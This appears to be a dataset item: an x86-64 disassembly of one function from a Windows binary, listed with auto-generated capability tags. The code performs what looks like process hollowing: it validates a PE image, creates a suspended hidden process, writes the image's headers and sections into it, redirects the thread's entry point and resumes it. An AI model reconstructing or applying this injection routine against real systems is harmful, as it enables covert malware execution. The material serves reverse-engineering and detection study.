Function at 0x1400aee24
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x68]
sub rsp, 0x140
mov r12, r8
mov rsi, rdx
mov r15, rcx
xor ebx, ebx
mov r13b, bl
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x70], rbx
or dword [rbp - 0x80], 0xffffffff
lea rcx, [rbp - 0x80]
call fcn.140004268
movzx edi, bl
mov r14b, byte [rbp + 0xa8]
test r14b, r14b
je 0x1400aef40
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], bl
mov r9b, byte [rbp + 0xa0]
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x68]
mov ecx, eax
call fcn.1400af778
test al, al
je 0x1400aeefa
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x1400aeefa
lea rax, [rbp - 0x70]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9d, [rbx + 2]
xor r8d, r8d
mov edx, 0x2000000
call fcn.14000e47c
test eax, eax
je 0x1400aeefa
xor r8d, r8d
mov rdx, qword [rbp - 0x68]
lea rcx, [rbp - 0x78]
call fcn.14000e154
test eax, eax
lea eax, [rbx + 1]
cmovne edi, eax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1400aef37
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400aef32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400af4a8
call fcn.14007d370
test dil, dil
je 0x1400af47f
lea rdx, [0x1400c01b8]
lea rcx, [rsp + 0x60]
call fcn.1400b92a4
cmp qword [rax + 0x18], 0x10
jb 0x1400aef5b
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1400aefa4
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400aef9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400af4ae
call fcn.14007d370
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], bl
test rdi, rdi
je 0x1400af47f
lea rdx, [0x1400c0d18]
lea rcx, [rbp - 0x60]
call fcn.1400b92a4
cmp qword [rax + 0x18], 0x10
jb 0x1400aefd9
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400e3b68], rax
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400af027
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400af022
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400af4b4
call fcn.14007d370
lea rdx, [0x1400c0d40]
lea rcx, [rbp - 0x60]
call fcn.1400b92a4
cmp qword [rax + 0x18], 0x10
jb 0x1400af041
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400e3b70], rax
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400af08f
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400af08a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400af4ba
call fcn.14007d370
lea rdx, [0x1400c0d68]
lea rcx, [rbp - 0x60]
call fcn.1400b92a4
cmp qword [rax + 0x18], 0x10
jb 0x1400af0a9
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400e3b78], rax
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400af0f7
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400af0f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400af4c0
call fcn.14007d370
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x1400af35b
movsxd rbx, dword [r15 + 0x3c]
add rbx, r15
cmp dword [rbx], 0x4550
jne 0x1400af359
lea rdx, [rbp + 0xa8]
mov rcx, rsi
call fcn.14000e628
mov ecx, 0x14c
mov eax, dword [rbp + 0xa8]
cmp word [rbx + 4], cx
jne 0x1400af141
test eax, eax
jne 0x1400af47f
mov ecx, 0x8664
cmp word [rbx + 4], cx
jne 0x1400af155
cmp eax, 6
jne 0x1400af47f
lea rdi, [rsp + 0x60]
xor eax, eax
lea ecx, [rax + 0x18]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x30]
lea edx, [rax + 0x68]
mov ecx, edx
rep stosb byte [rdi], al
mov dword [rbp - 0x30], edx
mov dword [rbp + 0xc], 0x101
xor edi, edi
mov word [rbp + 0x10], di
lea rax, [rsp + 0x60]
xor r9d, r9d
test r14b, r14b
je 0x1400af1c7
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdi
mov rax, qword [rbp - 0x78]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r8, r12
mov rdx, rsi
mov rcx, qword [rbp - 0x70]
call fcn.14000e2f4
jmp 0x1400af1f9
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], edi
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call fcn.14000e224
test eax, eax
je 0x1400af359
mov r9d, 4
mov r8d, 0x1000
lea r14d, [r9 + 4]
mov edx, r14d
xor ecx, ecx
call fcn.14000fc8c
mov rsi, rax
mov qword [rbp - 0x40], rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call fcn.14000ea74
mov rcx, qword [rsp + 0x60]
test eax, eax
je 0x1400af352
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rdi
mov r9d, r14d
lea r8, [rbp - 0x38]
call qword [0x1400e3b68]
neg byte [rbp + 0x98]
sbb eax, eax
and eax, 0x3c
add eax, 4
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], eax
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rsp + 0x60]
call fcn.1400bc118
mov qword [rbp - 0x80], rax
mov rcx, qword [rsp + 0x60]
test rax, rax
je 0x1400af352
mov r9d, dword [rbx + 0x54]
mov qword [rsp + 0x20], rdi
mov r8, r15
mov rdx, rax
call fcn.14000ff0c
movzx edi, word [rbx + 0x14]
add rdi, 0x2c
xor r12d, r12d
mov r14d, r12d
cmp r12w, word [rbx + 6]
jae 0x1400af2ff
add rdi, rbx
lea esi, [r12 + 1]
mov r9d, dword [rdi - 4]
mov r8d, dword [rdi]
add r8, r15
mov edx, dword [rdi - 8]
add rdx, qword [rbp - 0x80]
mov qword [rsp + 0x20], r12
mov rcx, qword [rsp + 0x60]
call fcn.14000ff0c
lea rdi, [rdi + 0x28]
add r14d, esi
movzx eax, word [rbx + 6]
cmp r14d, eax
jl 0x1400af2cb
mov rsi, qword [rbp - 0x40]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp - 0x80]
mov rcx, qword [rsp + 0x60]
call fcn.14000ff0c
mov eax, dword [rbx + 0x28]
add rax, qword [rbp - 0x80]
mov qword [rsi + 0x80], rax
mov rdx, rsi
mov rcx, qword [rsp + 0x68]
call qword [0x1400e3b70]
mov rcx, qword [rsp + 0x68]
call qword [0x1400e3b78]
mov r13d, 1
jmp 0x1400af359
xor edx, edx
call fcn.14000fc10
xor ebx, ebx
cmp qword [rbp - 0x78], rbx
je 0x1400af45a
lea rdx, [0x1400c0d88]
lea rcx, [rsp + 0x60]
call fcn.1400b92a4
nop
cmp qword [rax + 0x18], 0x10
jb 0x1400af381
mov rax, qword [rax]
mov rcx, rax
call fcn.1400bb43c
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1400af3c9
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400af3c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400af4c6
call fcn.14007d370
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], bl
test rdi, rdi
je 0x1400af456
lea rdx, [0x1400c0da8]
lea rcx, [rbp - 0x60]
call fcn.1400b92a4
cmp qword [rax + 0x18], 0x10
jb 0x1400af3fa
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400e3b38], rax
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400af44b
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400af43f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400af4a2
call fcn.14007d370
mov rax, qword [0x1400e3b38]
test rax, rax
je 0x1400af456
mov rcx, qword [rbp - 0x78]
call rax
mov qword [rbp - 0x78], rbx
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x1400af46c
call fcn.1400bafc0
mov qword [rbp - 0x70], rbx
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x1400af47a
call fcn.1400bafc0
mov al, r13b
jmp 0x1400af481
xor al, al
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140083c6c
int3
call fcn.140083c6c
int3
call fcn.140083c6c
int3
call fcn.140083c6c
int3
call fcn.140083c6c
int3
call fcn.140083c6c
int3
call fcn.140083c6c
int3